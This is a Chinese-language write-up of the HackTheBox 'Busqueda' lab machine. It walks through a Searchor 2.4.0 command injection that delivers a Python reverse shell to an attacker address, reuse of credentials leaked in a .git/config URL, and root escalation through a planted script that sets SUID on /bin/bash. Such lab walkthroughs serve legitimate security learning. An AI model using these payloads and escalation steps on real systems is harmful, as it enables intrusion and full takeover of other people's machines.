【HackTheBox】- Busqueda 靶机学习
目录
- 1. 信息收集
- 2. 80 端口
- 3. 提权
难度: Easy
OS:Linux
1. 信息收集
先快速扫描全端口:rustscan -a 10.129.126.37 -r 1-65535
只开放了22和80端口,再用nmap探测详细的服务:nmap -p22,80 -AO -sV -sT 10.129 .126.37
2. 80 端口
浏览器访问80端口,依然被重定向到 searcher.htb,在 /etc/hosts 文件中写入,执行命令:echo "10.129.126.37 searcher.htb" | sudo tee -a /etc/hosts
重新访问80端口:
看起来是个搜索查询的功能。
但是还是先扫描一下目录:dirsearch -u http://10.129.126.37
用ip作为参数的话,执行结果全是302。修改为域名:dirsearch -u http://searcher.htb/
还是什么结果都没有。
从功能上来看,如果不点击自动跳转的话,会显示一个拼接的网址,如果跳转的话,会直接跳转。
点击查询,抓个包看看:
query字段后面加上单引号的返回的内容会有所不同,试一试sqlmap:sqlmap -r 1.txt
但是没有什么结果。深入想一下,这里只是把我们输入的关键字做了个拼接,应该没有直接和数据库交互,所以应该不存在sql注入的漏洞。
再从网站架构入手,whatweb扫描了一下也没有什么东西:python语言,Werkzeug库
在网站的底部发现了Searchor 2.4.0:
在 searchsploit 中没有发现 Searchor 相关的漏洞。但是在github中发现了一个:
有问题的代码:
试一下这个脚本:https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection/blob/main/exploit.sh
在kali中监听端口8888:nc -lvvp 9001
执行脚本:./search.sh searcher.htb 10.10.16.16
找到了user.txt:
在相关链接中发现了poc:', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#
构造数据包:
engine=', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.16.16',8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#&query=A5
3. 提权
先查看是否有 suid 权限:sudo -l
需要密码。
查看网站目录的文件,看一下 app.py 文件的内容,没有什么收获,看一下 .git 目录:
进入 .git 目录,发现了一个config文件,看文件内容:
获取到一对凭据:cody:jh1usoih2bkjaspwe92
尝试ssh登录:ssh cody@10.129.228.217
输入密码后一直登录不上:
查看 /etc/passwd 是否有其他账户:
可以远程登录并且获取shell的只有 root 和 svc 用户。
所以用svc再登录尝试:ssh svc@10.129.228.217
成功登录进来了。
现在再想一下为什么cody无法登录,因为文件中的 url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
是 Git remote 的配置(.git/config)里把远端仓库 URL 写成了 http://user:pass@host/...
的形式。Git/HTTP 支持在 URL 中嵌入 basic auth,所以可能把凭据直接写进了 remote URL。
这不是 Linux 系统账户,也不是说系统上必须有cody用户。它是远程 Git 服务(gitea.searcher.htb)上的一个仓库账号的凭据,用来做 git pull/push 的认证。
现在知道了svc账户的密码,就可以查看 suid 权限:sudo -l
进入脚本的目录,查看一下权限,发现只有执行权限。
尝试执行:sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
按照提示信息执行一下:
猜测是调用的 scripts 目录下的 full-checkup.sh 脚本来执行了命令。
所以接下来的思路就是写一个文件 full-checkup.sh ,我写在了 /home/svc 目录下。文件内容如下:
#!/bin/bash
chmod +s /bin/bash
三个注意的点:
-
写完文件以后要快速执行,因为系统会删除我们写入的文件。
-
给文件执行权限
-
文件名字一定是 full-checkup.sh
进入目录:cd /home/svc
写文件:vim full-checkup.sh
给文件执行权限:chmod 777 full-checkup.sh
执行脚本:sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
看一下 /bin/bash 文件是否有了suid:ls -al /bin/bash
执行命令获取root权限:bash -p